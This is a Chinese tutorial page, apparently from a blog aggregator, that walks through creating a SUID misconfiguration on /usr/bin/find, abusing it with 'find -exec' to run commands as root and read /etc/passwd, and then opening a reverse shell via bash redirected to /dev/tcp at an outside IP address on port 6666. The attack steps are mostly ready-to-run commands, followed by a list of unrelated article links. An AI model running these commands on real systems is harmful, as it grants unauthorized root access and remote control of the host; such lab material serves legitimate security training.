当前位置: 首页 > news >正文

suid提权的环境搭建+反弹shell

在这里插入图片描述
SUID(Set User ID)是一种特殊的文件权限设置,它允许文件在执行时具有文件所有者的权限。当具有SUID权限的文件被执行时,执行该文件的用户会暂时获得文件所有者的权限。这种权限通常用于需要高权限操作的程序,如‌passwd、‌sudo等。SUID权限仅对可执行文件有效,且在文件执行结束后,用户的权限会恢复到原来的状态。

1.环境搭建

# 查看find位置
which find

image-20240911150905579

# 查看find权限ls -al /usr/bin/find

image-20240911151051809

# 查看具有suid权限的文件,发现没有find文件
find / -perm -u=s -type f 2>/dev/null

image-20240911151207886

# 切换到root用户,赋予find文件suid权限
chmod u+s /usr/bin/find

image-20240911151343255

2.提权

# 再次使用find命令查看具有suid权限的文件,发现有find文件
find / -perm -u=s -type f 2>/dev/null

image-20240911151506129

# 使用find命令提权,发现是用root权限执行的whoami命令
find `which find` -exec whoami \;find `which find` -exec ls \;find `which find` -exec cat /etc/passwd \;# 命令解释: 以find 命令 执行  whoami 命令。   
# find  (一个路径或文件必须存在)  -exec  执行命令 (结束)\;

image-20240911151754320

3.反弹shell

# 开启监听
nc -lvvnp 6666

image-20240911152019767

# 执行反弹shell命令
find /etc/passwd -exec bash -ip >& /dev/tcp/59.110.216.246/6666 0>&1 \;

b6220a16df5bc3cc6c5743cac4dba5f
好小子,离成功又进一步!!!

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 基于 ROS 的Terraform托管服务轻松部署Qwen-VL-Chat
  • 新书宣传:《量子安全:信息保护新纪元》
  • JavaScript高级——关于语句分号的问题
  • redis为什么这么快
  • 组织应在其网络安全策略中考虑MLSecOps吗?
  • MM-PhyQA——一个专门处理高中物理选择题的 LLM 聊天机器人
  • 【网络安全】-文件上传漏洞实战-upload-labs(0~16)
  • 如何用GPU算力卡P100玩黑神话悟空?
  • Python 数学建模——独立性检验
  • spring如何整合druid连接池?
  • 大模型LLM部署学习
  • [数据集][目标检测]乱堆物料检测数据集VOC+YOLO格式1143张1类别
  • 网络安全工程师能赚多少钱一个月?
  • 构建常态化安全防线:XDR的态势感知与自动化响应机制
  • html css网页制作
  • Google 是如何开发 Web 框架的
  • AngularJS指令开发(1)——参数详解
  • AzureCon上微软宣布了哪些容器相关的重磅消息
  • gcc介绍及安装
  • js ES6 求数组的交集,并集,还有差集
  • LintCode 31. partitionArray 数组划分
  • Linux各目录及每个目录的详细介绍
  • MyEclipse 8.0 GA 搭建 Struts2 + Spring2 + Hibernate3 (测试)
  • 解析 Webpack中import、require、按需加载的执行过程
  • 前端性能优化——回流与重绘
  • 使用权重正则化较少模型过拟合
  • 正则学习笔记
  • 【云吞铺子】性能抖动剖析(二)
  • 曾刷新两项世界纪录,腾讯优图人脸检测算法 DSFD 正式开源 ...
  • ​​​​​​​​​​​​​​Γ函数
  • ​【原创】基于SSM的酒店预约管理系统(酒店管理系统毕业设计)
  • ​软考-高级-系统架构设计师教程(清华第2版)【第20章 系统架构设计师论文写作要点(P717~728)-思维导图】​
  • ### RabbitMQ五种工作模式:
  • #LLM入门|Prompt#1.8_聊天机器人_Chatbot
  • #pragma once与条件编译
  • #QT(TCP网络编程-服务端)
  • $ is not function   和JQUERY 命名 冲突的解说 Jquer问题 (
  • (NO.00004)iOS实现打砖块游戏(十二):伸缩自如,我是如意金箍棒(上)!
  • (安卓)跳转应用市场APP详情页的方式
  • (二)linux使用docker容器运行mysql
  • (二十一)devops持续集成开发——使用jenkins的Docker Pipeline插件完成docker项目的pipeline流水线发布
  • (附源码)springboot太原学院贫困生申请管理系统 毕业设计 101517
  • (回溯) LeetCode 77. 组合
  • (机器学习-深度学习快速入门)第一章第一节:Python环境和数据分析
  • (十三)MipMap
  • (数据大屏)(Hadoop)基于SSM框架的学院校友管理系统的设计与实现+文档
  • (算法)Travel Information Center
  • (完整代码)R语言中利用SVM-RFE机器学习算法筛选关键因子
  • (一)Linux+Windows下安装ffmpeg
  • (终章)[图像识别]13.OpenCV案例 自定义训练集分类器物体检测
  • (转)清华学霸演讲稿:永远不要说你已经尽力了
  • (转)总结使用Unity 3D优化游戏运行性能的经验
  • (总结)Linux下的暴力密码在线破解工具Hydra详解
  • .mkp勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复
  • .net Stream篇(六)